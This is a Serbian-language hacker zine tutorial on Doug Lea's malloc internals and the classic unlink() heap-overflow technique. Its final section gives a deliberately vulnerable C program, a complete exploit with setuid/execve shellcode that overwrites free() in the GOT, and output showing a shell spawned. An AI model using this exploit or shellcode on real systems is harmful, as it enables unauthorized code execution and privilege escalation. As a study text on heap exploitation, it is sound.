................... ...::: phearless zine #4 :::... ....................>---[ Malloc Demistified - Part 1. ]---<................... ...........................>---[ by Wintermuth ]---<........................... wintermuth[at]gmail[dot]com 1. Uvod 2. Doug Lea`s Malloc Alociranje memorije Binovi Doubly-linked lista unlink() frontlink() malloc(3) algoritam free(3) algoritam realloc(3) algoritam 3. Eksploitacija - unlink() tehnika 4. Odvod /////////////////////////////////////////////////////////////////////////// --==<[ 1. Uvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ U poslednje vreme je izaslo par tekstova sa jako lepim idejama vezanim za eksploataciju. Medju njima i jeadan vezan za heap eksploataciju na linuxu sto mi dade ideju da napisem jedan tekst i eksploataciji heapa na linuxu. Kako je default linux alokator memorije Doug Lea`s malloc ili ti dlmalloc ovaj tekst ce opisivati njegove principe. Pocevsi od samih algoritama za alociranje memorije (koji su za razumevanje eksploatacije heapa jako bitni) do starih i novih tehnka eksploatacije. U ovom tekstu necete naci nista potpuno novo i do sada nevidjeno. Nisam izmisljao toplu vodu. Neko ce reci da je ovo i cist prevod vec postojecih tekstova, ali nije bas tako. Pokusao sam da na srpskom, prostijim recima predtavim tehnike koje su tim velikim ljudima pale na pamet. /////////////////////////////////////////////////////////////////////////// --==<[ 2. Doug Lea`s Malloc \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Dakle GNU C library koristi dlmalloc alokator memorije. Funkcije koje to omogucavaju su malloc(), realloc(), calloc() i free(). Iako ce one biti opisane mozete procitati njihove man stranice. malloc() prima kao argument broj bajtova koje treba da alocira, a kao rezultat vraca pointer na alociranu memoriju. realloc() prima kao argumente pointer na vec alociranu memoriju i menja njenu velicinu u broj bajtova zadan kao drugi parametar. calloc() prima kao prvi argument broj elemenata niza, a kao drugi velicinu svakog elementa tog niza. kao rezultat vraca pointer na alociranu memoriju velicine duzine elemenata puta broj elemenata. Memorija je prethodno ociscena. I free(), jasno, oslobadja memoriju na zadatoj adresi. Kako kaze na samoj stranici koja opisuje dlmalloc http://gee.cs.oswego.edu/dl/html/malloc.html Doug Lea`s malloc nije najbrzi , niti najstedljiviji po pitanju memorije ili najportabilniji , ali najbolje kombinuje ove tri odlike. Bitna stvar kod chunkova kojima upravlja dlmalloc je sto oni pri sebi sadrze informacije i o prethodnom i o narednom chunku. Ova bitna osobina, koja je kljucna pri alociranju memorije i koja omogucava na primer spajanje dva susedna chunka ako su neiskorisceni, predstavlja svu divotu i lepotu malloc eksploatacije. Naime ako je napadac u stanju da kontrlise te podatke lako moze da prvari dlmalloc i da izvrsi svoj shellcode ili sta vec. O tehnikama iskoriscavanja ovoga kasnije. A sada o samom funkcionisanju alokatora. U dlmalloc alokatoru dostupni chunkovi se nalaze u binovima poredjani po velicini. Pretraga za odgovarajucim chunkom se vrsi od najmanjeg chunka kod se ne dodje do best-fit chunka, odnosno onog koji je najpriblizniji vrednosti koja se trazi. Postoji i poseban chunk koji se naziva wilderness chunk. To je poslednji chunk koji se nalazi na granici adresa koje je sistem alocirao. Kao takav, predstavlja jedini koji moze da se poveca. Iako moze biti iste velicine kao i bilo koji drugi chunk algoritmi za alokaciju ga smatraju vecim od ostalih zato sto moze da se poveca sve do granica normale. Tako da on uvek ostaje neiskoriscen. Sa napadaceve tacke gledista , wilderness chunk predstavlja veoma tezak problem. dlmalloc posebno upravlja ovim chunkom i korumpiraje njegovih delova je jako otezano. Velicina alocirane memorije od strane alokatora nikada nije jednaka zahtevanoj velicini. Do ovoga dolazi zbog toga sto svaki chunk sadrzi informacije o prethodnom, a i zbog toga sto je velicina scakog chunka jednaka nekom broju puta 8. Kada se da zahtev za alociranjem memorije velicine 0 bajtova alokator u stvari alocira 16 bajta. To je minimum koji moze da se alocira. Kakve su to informaciju u svakom chunku? E, sad dolazimo do bitnih stvari za samu eksploataciju. #define INTERNAL_SIZE_T size_t struct malloc_chunk { INTERNAL_SIZE_T prev_size; INTERNAL_SIZE_T size; struct malloc_chunk * fd; struct malloc_chunk * bk; }; Alocirani chunk izgleda otprilike ovako: chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | prev_size: velicina prethodnog chunka, dlmalloc ovo | | koristi samo ako je prethodni chunk slobodan | +---------------------------------------------------------+ | size: velicina chunka, razlika izmedju chunk i | | nextchunk i jos dva bita statusnih informacija | mem -> +---------------------------------------------------------+ | fd: dlmalloc ga trenutno ne koristi jer je chunk | | alociran - sama memorija koja se korisitpocinje ovde | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | bk: dlmalloc ga trenutno ne koristi jer je chunk | | alociran | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | sami podaci | nextchunk -> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + | prev_size: velicina prethodnog , posto je on alociran | | dlmalloc ga ne koristi | +---------------------------------------------------------+ Kada se alocira memorija (putem malloc() ili realloc()) vraca se pointer na mem. Da bi se dobio pointer na mem od pocetka chunka koriste se funkcije chunk2mem(), a za obrnuto mem2chunk()(logicno zar ne:)). To si izvodi prilicno prosto, jednostano se dodaju ili oduzmu 8 bajta. Velicina prev_size i size hedera je po 4 bajta pa je samim tim i prostor koji odvaja pocetak chunka od pocetka memorije 8 bajta. Slobodni chunkovi se nalaze doubly-linked listi i izgledaju ovako: chunk -> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | prev_size: posto je chunk slobodan koze se korisiti | | za smestanje podataka iz prethodnog | +---------------------------------------------------------+ | size: velicina chunka i jos dva bajta inforamcija o | | statusu | +---------------------------------------------------------+ | fd: forward pointer, pokazivac na sledeci chunk u listi | | ne na sledeci fizicki chunk | +---------------------------------------------------------+ | bk: back pointer, pokazivac na prethodni chunk u listi | | ne na fizicki prethodni chunk | +---------------------------------------------------------+ | slobodan prostor | sledeci chunk+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | prev_size: velicina prethodnog chunka jer je slobodan | +---------------------------------------------------------+ Alociranje memorije: Korisnik zahteva odredjen broj bajtova i dobija pointer na njih. Kako? Kada dobije zahtev za alociranje, dlmalloc prvo poziva request2size() funkciju koja zahtevanu velicinu prebacuje u onu koju dlmalloc koristi. To zbog gore pomenutih hedera, cija je ukupna velicina 8 i zbog toga sto, kao sto sam vec rekao, svaka velcina koju alocira dlmalloc jednaka nekom broju puta 8. Zato sto sto se prev_size heder sledeceg chunka moze koristiti za smestanje podataka (ako je prethodni chunk alociran nema potrebe za inforamcijama o njegovoj velicini) od ukupnog rezultata se oduzima 4. To izgleda ovako: #define request2size(req, nb) \ ((nb = (req) + (SIZE_SZ + MALLOC_ALIGN_MASK)),\ ((long)nb <= 0 || nb < (INTERNAL_SIZE_T) (req) \ ? (__set_errno (ENOMEM), 1) \ : ((nb < (MINSIZE + MALLOC_ALIGN_MASK) \ ? (nb = MINSIZE) : (nb &= ~MALLOC_ALIGN_MASK)), 0))) Vec sam napomenuo za sta sluzi prev_size heder. size heder sadrzi informacije o velicini i dva bita statusnih informacija. Otkud ta dva bita? Posto je velicina svakog chunka jednaka nekom broju puta 8, 3 LSB (Least Significant Bit) ce uvek biti 0. Da nebi stojali bezveze , dva se koriste za statusne informacije, a treci ostaje neiskoriscen. Prvi LSB bit predstavlja PREV_INUSE informaciju, a drugi LSB bit IS_MMAPED informaciju. Ako je PREV_INUSE bit postavljen on oznacava da je prethodni fizicki chunk zauzet i da prev_size heder moze da sadrzi korisnicke podatke. Ako PREV_INUSE bit nije postavljen to znaci da prethodni fizicki chunk nije u upotrebi i da prev_size heder sadrzi informacije o njemu koje koristi dlmalloc. Akoje IS_MMAPED bit postavljen to znaci da je chunk alociran koristeci sistemske mmap mehanizme. Binovi Slobodni chunkovi su organizovani u binove i to po velicini. Postoji 128 binova razlicite velicine. Prvih 62 bina se nazivaju malim binovima. Binovi su organizovani po svojim indeksima. dlmalloc sve chunkove manje od 512 bajta smatra malim binovima. U binovima se nalaze chunkovi iste velicine. Kako je najmanja velicina chunka 16 bajta. Prvi bin sadrzi chunkove od 16 bajta. Kako su velicine chunkova jednake nekom broju puta 8, sledeci bin sadrzi chunkove od 24 bajta, bin ciji je index 3 sadrzi chunkove od 32 bajta i tako dalje. Samim tim bin s indeksom 62 sadrzi chunkove velicine 504 bajta. Lako se moze izracunati koji indeks ima bin kojem pripada chunk. Doubly-linked lista Slobodni chunkovi su oraganizovani u doubly-linked listama. Postoji po jedna doubly linked lista po binu. Na pocetku su ove liste prazne posto je ceo heap samo jedan veliki neiskorisceni chunk, wilderness chunk. Bin nije nista drugo do par pointera koji sluzi doubly-linked listama. Postoje forward pointer i back pointer. Forward pointer bina pokazuje na prvi (najveci) chunk u listi. Forward pointer tog chunka pokazuje na sledeci chunk, ovaj na sledeci, sve dok poslednji chunk ne pokaze ponovo na bin. Back pointer pokazuje na poslednji chunk u listi, back pointer tog chunka pokazuje na onaj ispred njega i tako redom sve dok prvi chunk ne pokaze na sam bin, ako je lista prazna back pointer bina pokazuje na sam bin. unlink() Da bi dlmalloc sklonio neki chunk sa njegove doubly-linked liste, mora da zameni back pointer sledeceg chunka sa adresom chunka prethodnom onome koji hoce da skine sa doubly linked liste. Isto tako mora i forward pointer prethodnog da zameni adresom sledeceg.dlmalloc ovo radi putem unlink() makroa : #define unlink( P, BK, FD ) { \ BK = P->bk; \ FD = P->fd; \ FD->bk = BK; \ BK->fd = FD; \ } Upravo unlink() makro je esencijalan za jednu od metoda eksploatacije. frontlink() Da bi se oslobodjeni chunk "ubacio" u odgovarajuci bin a samim tim i u odgovarajucu doubly-linked listu poziva se frontlink() makro. On prvo odredjuje odgovarajuci bin u koji treba da se smesti chunkk izracunavajuci njegov indeks kao sto je vec opisano ( za to poziva smallbin_index() ili bin_index() u zavisnosti da li je rec o malom chunku ili o vecem). Zatim se poziva bin_at() da bi se odredila adresa bina u memoriji i na kraju se napokon chunk stavlja na pravo mesto u doubly-linked listi tog bina. Ovo je FIFO organozovana struktura podataka i stoga chunk odlazi na pocetak, a chunkovi za koriscenje se uzimaju s kraja. Ovako izgleda frontlink() : #define frontlink( A, P, S, IDX, BK, FD ) { \ if ( S < MAX_SMALLBIN_SIZE ) { \ // ako je rec o malom IDX = smallbin_index( S ); \ // bin poziva mark_binblock( A, IDX ); \ // smallbin_index() BK = bin_at( A, IDX ); \ FD = BK->fd; \ P->bk = BK; \ P->fd = FD; \ FD->bk = BK->fd = P; \ } else { \ // ako je rec o vecem IDX = bin_index( S ); \ // binu poziva BK = bin_at( A, IDX ); \ // bin_index() FD = BK->fd; \ if ( FD == BK ) { \ mark_binblock(A, IDX); \ } else { \ while ( FD != BK && S < chunksize(FD) ) { \ FD = FD->fd; \ } \ BK = FD->bk; \ } \ P->bk = BK; \ P->fd = FD; \ FD->bk = BK->fd = P; \ } \ } P je chunk velicine S , IDX je index odgovarajuceg bina, BK back pointer i FD forward pointer. malloc(3) algoritam malloc(3) je u GNU C libraryu oznacen kao __libc_malloc() a u samom malloc.c kao mALLOc(). Pri pozivanju ove funkcije, prvo se zahtev za memorijom od strane programa prebacuje u formu koja moze da se koristi putem prethodno opisanog request2size(). Zatim se to prosledjuje chunk_alloc() koja iam dve opcije: Prva opcija: Da najde bin odgovaraujce velicine i ako je u njemu nadjen chunk odgovarajuce velicine on biva izauzet. dlmalloc smatra da je chunk odgovarajuce velicine ako je razlika izmedju njegove velicine i velicine zahteva veca ili jednaka 0 ali manja od MINSIZE. Ako je njegova velicina manja od zahteva, chunk bi bio premali, ako je razlika 0 chunk bi bio odgovarajuc. Sve vece vrednosti bi bile odgovarajuce dok god ta razlika nije MINSIZE ili 16, jer bi onda dlmalloc mogao da formira novi chunk ali to prva opcija ne omogucava. Zahtevi za alociranjem malih chunkova se procesiraju na dva nacina. Zahtev se smatra zahtevom za mali chunk ako je index odgovarajuceg bina i index sledeceg bina mali.Ako doubly-linked lista bina nije prazna uzima se poslednjim chunk iz nje. Ako je doubly-linked lista odgovarajuceg chunka prazna uzima se poslednji chunk iz doubly-linked liste sledeceg bina ( razlika izmedju zahteva i velicine chunka je idalje manja od MINSIZE jer je onda samo 8 a ne 16). Ako je nadjen odgovarajuci chunk poziva ze unlink() makro da bi ga izbacio iz njegove doubly-linked liste i njegova adresa se vraca mALLOc()-u. On se nalazi tako sto chunk_alloc() skenira doubly-linked listu tog bina pocevsi od najmanjeg chunka i prateci nejgov back pointer ka vecim chunkovima. Ako se tokom skeniranja naidje na chunk koji je izuvise veliki u odnosu na zahtev, skeniranje se prekida jer bi svaki sledeci shunk bio jos veci. Ako se tokom skeniranja naidje na chunk koji je upravo odgovarajuce velicine unlink() se poziva. Ako se tokom skeniranja ne naidje na odgovarajuci chunk koristi se druga opcija. Druga opcija: Ako prva opcija nije uspela koristi se najnoviji remaindered chunk. On ne mora uvek da postoji. dlmalloc daje specijalno znacenje tom chunku sa link_last_remainder(), a sklanja ga sa clear_last_remainder(). Ako je neki od chunkova oznacen sa last_remainder on biva podeljen ako je njegova velicina dovoljno velika, ako je razlika izmedju njegove velicine i velicine zahteva veca ili jednaka MINSIZE. Prvi deo, koji je velicine zahteva, biva vracen mALLOc(), a drugi deo postaje novi last_remainder. Ali ako on nije dovoljno veliki, ako je razlika izmedju njegove velicine i velicine zahteva manja od MINSIZE, poziva se clear_last_reminder(). Mogucnosti su da chunk_alloc() vrati taj chunk koji je upravo oslobodio oznake last_remainder mALLOc()u ako je razlika njegove velicine i velicine zahteva jednaka ili veca od 0 ili ga stavlja u odgovarajucu doubly-linked listu (ako je razlika izmedju njegove velicine i velicine zahteva manja od nule). Ako idalje nema odgovarajuceg chunka prelazi se na skeniranje sledeceg bina. Skeniranje se nastavlja pocevsi od najmanjeg chunka u doubly-linked listi tog bina pratici njegove back pointere sve dok se ne nadje chunk koji je veci od velicine zahteva. Taj chunk biva podeljen na dva dela (ako je razlika izmedju njegove velicine i velicine zahteva veca ili jednaka MINSIZE). Prvi deo se pomocu unlink() sklanja iz njegove doubly-linked liste i vraca mALLOc() funkciji kao odgovarajuci chunk, drugi deo postaje novi last_reminder pomocu link_last_remainder(). Ako je nadjen chunk upravo odgovarajuce velicine (razlika njegove velicine i velicine zahteva je jednaka ili veca od nule ali manja od MINSIZE) on biva skinut sa svoje doubly-linked liste i prosledjen mALLOc() funkciji. Ako pak nijedan od gornjih uslova nije ispunjen prelazi se na sledece: Wilderness chunk biva procesiran. Ako je dovoljno veliki ( ako je razlika izmedju njegove velicine i velicine zahteva veca ili jednaka MINSIZE) biva podeljen na dva dela. Prvi deo se vraca mALLOc() funkciji, a drugi postaje novi wilderness chuk. Ako nije dovoljno veliki, a ako se zahtev podudara sa mmap thresholdom, a sistem podrzava mmap (linux ga podrzava) memorija se alocira putem mmap() poziva. Kako je mmap threshold prilicno veliki ( mmap threshold mozete kontrolisati putem MALLOC_MMAP_THRESHOLD_ environment varijable sem u slucaju SUID programa kada ova varijabla ne moze da zaobidje defaultnu vrednost od 128k) nece uvek doci do alociranja putem mmap() poziva. U slucaju da mmap threshold nije dostignut granice koje je sistem ranije postavio se povecavaju koriscenjem sbrk() poziva. Samim time wilderness chunk biva povecan i zatim opet podeljen kao u slucaju da je dovoljno veliki. Ako prosirenje ne uspe mALLOc() funkciji se vraca NULL pointer sto indicira gresku. free(3) algoritam free(3) je u GNU C librariju predstavljen kao __libc_free() a u samom malloc.c fajuli kao fREe() funkcija. Po pozivanju, funkcija prvo utvrdjuje da li je chunk koji treba da oslobodi alociran pomocu mmap sistemskog mehanizma. To utvrdjuje pomocu chunk_mmaped() makora i onog IS_MMAPED bita iz hedera chunka. Ako jeste, oslobadja chunk pomocu munmap() funkcije (prosledjuje pointer munmap_chunk()),a ako nije oslobadja ga putem free_chunk() koji je nama bitniji. Ako se chunk koji treba da se oslobodi granici sa wilderness chunkom, ta dva bivaju spojena i formira se novi veci wilderness chunk. Ako se ne granici sa wilderness chunkom desava se da se prethodni chunk i onaj koji se oslobadja spajaju.Takodje, chunk koji se oslobadja se spaja sa sledecim ako ovaj nije zauzet. Oba chunka, i prethodni i sledeci, bivaju skinuti sa sovjih doubly-linked listi i formira se novi chunk koji se smesta u odgovarajuci bin. Ako je prethoni chunk bio obelezen sa last_remainder novi koji nastaje spajanjem ova dva postaje takodje last remainder. Informacije o last remainderu se menjaju samo kada se njegov pocetak promeni. Znaci da se link_last_remainder() poziva samo kada je adresa pocetka starog last remaindera razlicita od adrese novog last remaindera. realloc(3) algoritam realloc(3) je u GNU C libraryu predstavljen kao __libc_free(), a u samom malloc.c fajlu kao rEALLOc(). Ako se realloc() funkcija poove sa argumentom za velicinu jednakom nuli realocirace se memorija velicine MINSIZE, osim ako je REALLOC_ZERO_BYTES_FREES postavljen, ako jeste postavljen, poziva se free() funkcija i memorija se oslobadja. Ako se pozove sa pointer argumentom jednakom nuli realloc() se smatra istim kao malloc(). Ako se realloc() pozove sa vrednostima koje odgovaraju, pointer vrednost kao pokazivac na vec alocirani chunk, a size argument nova vrednost memorije dolazi do sledecih koraka. Prvo se utvrdjuje da li je chunk alociran pomocu mmap mehanizma sa chunk_is_mmaped(), ako nije prelazi se na funkciju chunk_realloc. Postoje dve mogucnosti zahteva. Da je zahtev za smanjenjem alocirane memorije i za povecanjem alocirane memorije. Ako se zahteva smanjenje memorije uporedjuju se velicine prethodno alociranog chunka i novog zahteva. Naravno , prvo se zahtev preda funkciji za prebacivanje u odgovarajuci oblik ( request2size()). Ako je razlika izmedju prethodno alociranog chunka i novog zahteva veca ili jednaka MINSIZE chunk jednostavno biva podeljen. Njegov prvi deo, koji je velicine zahteva, biva alociran, a drugi deo oslobodjen putem free(). Ako je razlika izmedju prethodno alociranog chunka i zahteva manja od MINSIZE, chunk se ne dira, jednostavno biva vracen rEALLOc() funkciji. Kod zahteva za prosirenjem memorije moze doci do nekoliko stvari. Ako je sledeci chunk posle prethodno alociranog chunka slobodan postoje dve opcije. Ako je taj sledeci chunk ujedno i wilderness chunk i ako je njegova velicina plus velicina chunka koji se realocira MINSIZE ili vise bajta veca od zahtva, wilderness chunk biva podeljen na dva dela. Prvi deo se spaja sa chunkom koji se realocira i pointer na njega se vraca rALLOc() funkciji, a drugi deo postaje novi wilderness chunk. Ako je pak chunk koji se nalazi posle chunka koji se realocira obican chunk biva sledece. Ako je velicina chunka koji se realocira zajedno sa velicinom sledeceg i prethodnog chunka veca ili jednaka sa velicinom zahteva, ta tri chunka se spajaju, sadrzaj realociranog chunka se kopira u novi chunk, a taj novonastali chunk se procesirao kao u slucaju zahteva za smanjenjem alocirane memorije. Ako je velicina prethodnog chunka i onog koji biva alociran veca ili jednaka velicini zahteva, ova dva chunka bivaju spojena, a taj prethodni biva skinut sa svoje doubly-linked liste pomocu unlink(). Ako ne moze da se realocira sa chunkom dovoljno velike velicine oziva se vec objasnjena funkcija chunk_alloc() koja alocira novi chunk. Ako se taj novoalocirani chunk nalazi odmah ispred chunka koji je bio realociran ( do toga moze da dodje samo ako taj sledeci chunk nije bio dovoljno veliki, ali da je nekako prosiren, posto je jedini chunk koji moze da se prosiri wilderness chunk to znaci da je sledeci chunk bio wilderness chunk) njih dvoje bivaju spojeni i dalje se procesiraju kao u slucaju zahteva za smanjenje memorije. Ako to nije sledeci chunk, sadrzaj realociranog chunka se prebacuje u novoalocirani chunk a sam chunk koji se alocira biva oslobodjen pomocu fREe(). Napokon, pointer ka tom novoalociranom chunku se vraca rEALLOc() funkciji. /////////////////////////////////////////////////////////////////////////// --==<[ 3. Eksploitacija - unlink() tehnika \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Kao sto je vec objasnjeno, unlink() sluzi za "vadjenje" chunka iz njegove doubly-linked tabele. Sta se tu desava detaljnije? Recimo da program moze da u alocirani bafer smesti nekontrolisano velike podatke, tacnije, on ne moze da ih smesti vec ih smesta i iza te alocirane memorije kao u slucaju obicnog buffer overflowa. Dakle ako je u mogucnosti da pise van granica alocirane memorije, odnostno alociranog chunka, napadac moze da prepise neke vitalne podatke sledeceg chunka u memoriji i, ako bi naveo dlmalloc da procesira taj sledeci chunk nekako, navede program da izvrsi maliciozni kod ili ti shellcode. U tome lezi sva divota eksploitacije dlmalloc alokatora memorije:). Recimo da napadac moze da prepise vrednost FD pointera adresom neke funkcije - 12 bajta (tih 12 bajtova cine offset na kojoj se udaljenosti nalazi BK pointer unutar hedera chunka), a zatim sadrzaj BK pointera prepise adresom shellcodea, posle procesiranja tog korumpiranog chunka bi unlink() prepisao adresu funkcije adresom shellcodea koji bi se izvrsio po pozivanju te funkcije. Klasican scenario bi bio da se u FD pointeru nalazi adresa neke funkcije u GOT tabeli koja se u daljem radu programa poziva, a u BK pointeru adresa samog shellcodea. Ali stvari nisu bas toliko proste, mada ni bas mnogo komplikovanije:) Naime, unlink() ce u sred niza na koji pokazuje BK upisati FD pointer koji nam kvari nas shellcode i sve odlazi do djavola i nema mu spasa. Dobro, ne placite jos, nije sve bas tako crno, sve sto treba da uradite jeste da kao prvu instrukciju shellcodea stavite jedan jump koji bi skocio iza tog upisanog FD pointera na regularni shellcode i dalje sve tece kao podmazano. Kako unlink() taj FD pointer upisuje na adresi na koju pokazuje BK pointer + 8 (8 je offset na kojem se nalazi FD pointer unutar hedera chunka) bajta zna se koliko treba preskociti. Kako bih demonstrirao ovu tehniku koristicu vec postojece primere iz teksta iz phracka posto ne zelimd a izmisljam toplu vodu, a i oni su sasvim jasni. Sledi ranjivi program: int main( int argc, char * argv[] ) { char * first, * second; first = malloc( 666 ); second = malloc( 12 ); strcpy( first, argv[1] ); free( first ); free( second ); } Sta se desava pri pokretanju programa? Program alocira dva bafera. Jedan velicine 666 bajta, a drugi velicine 12 bajta. Zatim se u prvi bafer kopira parametar zadan na komandnoj liniji (ko je upopznat sa eksploitacijom obicnih stack overflowova odmah uocava ranjiovst) za ociglednim nedostatkom provere da li argv[1] moze da stane u bafer. Zatim se oslobadja prvi alocirani bafer a odmah za njim i drugi. Samim tim sto ne proverava duzinu, program je ranjiv. Napadac moze da pise van granica prvog bafera i napravi stetu. Posto je odmah iza prvog bafera alociran drugi, napadac moze da kontrolise sadrzaj njegovih hedera ukljucujuci PREV_INUSE bit na primer, PREV_SIZE, i narabvno FD i BK pointere! E posto je vec receno da je velicina svakog alociranog bafera jednaka nekom broju puta 8 sam alocirani bafer nije velicine 666 bajta vec request2size(666) sto rezultuje sa 672 alocirana bajta. Kako neki deo tog alociranog prostora spada u hedere efektivna velicina bafera je request2size(666) - 4 a to je jednako 668. Znaci, da bi kontrolisao vrednosti sledeceg chunka, napadac mora kao prvi argument programu da prosledi argument duzine vise od668+12 bajta. E sad glavna fora je navesti unlink() da procesira taj korumpirani chunk. Pri pozivanju free() funkcije on bi se procesirao u slucaju da je slobodan kako bi se formirala odgovarajuca doubly-linked tabela. Ali on nije slobodan. E sad, setite se kako dlmalloc utvrdjuje da li je chunk slobodan. On to radi tkao sto vidi PREV_INUSE bit sledeceg chunka i ako je on postavljen smatra taj chunk zauzetim. A kako dolazi do PREV_INUSE bita sledeceg chunka? Koristi size deo tog chunka da bi izracunao adresu sledeceg chunka. Kako napadac kontrolise informacije o tom chunku on je u mogucnosti da prevari dlmalloc da smatra taj chunk slobodnim. Na primer, ako napadac u size polje upise vrednost od -4, kada dodje do izracunavanja dlmalloc ce izracunati da je pocetak sledeceg chunka 4 bajta ispred pocetka korunpiranog chunka. Zbog toga ce umesto da procita size polje sledeceg chunka procitati PREV_SIZE korumpiranog chunka. Napdac moze da upise, dakle, broj po sovjoj zelji i navesti malloc da procita PREV_INUSE bit nekog drugog chunka, zbog toga smatrati korumpirani chunk slobodnim i procesirati ga sa unlink() sto dalje dovodi do izvrsenja shellcodea. Kad vec koristim primer ranjivog programa koristicu i exploit, opet da nebih izmisljao toplu vodu:) Exploit iz phracka prepisuje FD pointer adresom free() funkcije u GOT tabeli - 12 bajta i BK pointer adresom shellcodea koji se nalazi 8 bajta od pocetka prvog chunka. Dakle za exploitaciju su nam protrebne dve informacije. Adresa alociranog prvog bafera i adresa free() funkcije u GOT. Autor teksta u phracku koristi ltrace za pronalazenje adrese bafera. Ja trenutno nemam ltrace pa cu stoga dodati u ranjivi program jednu liniju koja ce mi pomoci. Sada ranjivi program izgleda ovako: int main( int argc, char * argv[] ) { char *first, *second; first = malloc( 666 ); // alociran prvi bafer second = malloc( 12 ); // alociran drugi bafer printf("0x%x\n",first); // stampa adresu prvog bafera strcpy( first, argv[1] ); // ranjivi deo free( first ); // oslobadja prvi free( second ); // oslobadja drugi } Pri pokretanju: earthquake@ono-sendai:~$ gcc vuln.c -o vuln vuln.c: In function `main': vuln.c:5: warning: assignment makes pointer from integer without a cast vuln.c:6: warning: assignment makes pointer from integer without a cast bash-2.05b$ ./vuln asd 0x80496d0 <--------nama potrebna adresa bafera earthquake@ono-sendai:~$ Za pronalazenje adrese free() funkcije u GOT moze se koristiti objdump: earthquake@ono-sendai:~$ objdump -R ./vuln | grep free 08049670 R_386_JUMP_SLOT free earthquake@ono-sendai:~$ Dakle, trazena adresa je 0x08049670. GOT adrese se nalaze u otprilike odredjenom rasponu sto pri remote exploitima moze da se koristi za brute force utvrdjivanje adrese. I sam exploit: #include #include #define FUNCTION_POINTER ( 0x08049670 ) //adresa free() u GOT #define CODE_ADDRESS ( 0x080496d0 + 2*4 ) // adresa bafera + 8 #define VULNERABLE "./vuln" // ocigledno :) #define DUMMY 0xdeadc0de // djubre #define PREV_INUSE 0x1 char shellcode[] = /* the jump instruction */ "\xeb\x0appssssffff" /* E bas da ne koristim Aleph Oneov shellcode :)))*/ /* Cr4zy l33t h3llc0d3z !!!!*/ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80" "\x31\xc0\x50\x68\x2f\x2f\x6c\x73\x68\x2f" "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31" "\xd2\xb0\x0b\xcd\x80"; int main( void ) { char * p; char argv1[ 680 + 1 ]; char * argv[] = { VULNERABLE, argv1, NULL }; p = argv1; /* fd prvog chunka */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* bk prvog chunka */ *( (void **)p ) = (void *)( DUMMY ); p += 4; /* sp3cial h3llc0d3z */ memcpy( p, shellcode, strlen(shellcode) ); p += strlen( shellcode ); /* djubre */ memset( p, 'B', (680 - 4*4) - (2*4 + strlen(shellcode)) ); p += ( 680 - 4*4 ) - ( 2*4 + strlen(shellcode) ); /* prev_size drugog chunka */ *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4; /* size drugog chunka */ *( (size_t *)p ) = (size_t)( -4 ); p += 4; /* fd drugog chunka */ *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); p += 4; /* bk drugog chunk */ *( (void **)p ) = (void *)( CODE_ADDRESS ); p += 4; /* Presveti NUL koji terminira string, svi se poklonite! */ *p = '\0'; execve( argv[0], argv, NULL ); //t00 l33t t0 und3rs4nd :) return( -1 ); } E sad se samo nadam da ce da radi :) Ajd` da vidimo i to cudo: earthquake@ono-sendai:~$ gcc expl.c -o expl earthquake@ono-sendai:~$ ./expl 0x80496d0 ANisp2.doc MallocDemistified.txt expl.c siddhartha.pdf Desktop MallocDemistified.txt~ install vuln Downloads baumann-hesse-and-india.pdf lida vuln.c Mail expl projects earthquake@ono-sendai:~$ Woah, moj ub3rl33t sh3llc0d3 radi!!! Jako cudno, ovo nebi trebalo da radi na novijim glibc verzijama ali ocigledno radi:). Naime nisam ni mislio da ce unlink() tehnika da radi kod mene, opisao sam je jer je to osnova ostalih, ali se ispostavilo da radi. Tol`ko o unlink() tehnici. Nadam se da sam je dovoljno dobro objasnio. /////////////////////////////////////////////////////////////////////////// --==<[ 4. Odvod \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\ Ovaj tekst je ima i drugi deo. On opisuje novije tehnike dlmalloc eksploitacije opisane u MallocMaleficarum tekstu. Kako su tehnike prilicno komplikovane, a od strane mene jako jako ruzno objasnjene sumnjam da bi ih iko iz mog opisa skapirao. Zato sam taj deo teksta izbacio da ceka da ga doradim i pojasnim stvari bolje. To bolje objasnjavanje bi zahtevalo dodatna objasnjavanja sigurnosnih dodataka u skroijim verzijama glibca koje moram priznati ni sam neznam dovoljno dobro, a posto zine izlazi sutra nemam vremena da im se za tako kratko vreme posvetim. Naravno, za to je kriva moja lenjost i nista drugo. Vracam se temi u sledecem broju. Na ovaj deo teksta gledajte kao na uvod u malloc eksplitaciju, kao pocetak za dalje ucenje. Bar ga ja tako vidim. Ako neko ima nesto da mi kaze, bilo sta, ima moj mail i nek slobodno pise, a moze i povremeno da me nadje na irc.pulltheplug.org kanal #social. Anywayz, tol`ko od mene za ovaj put.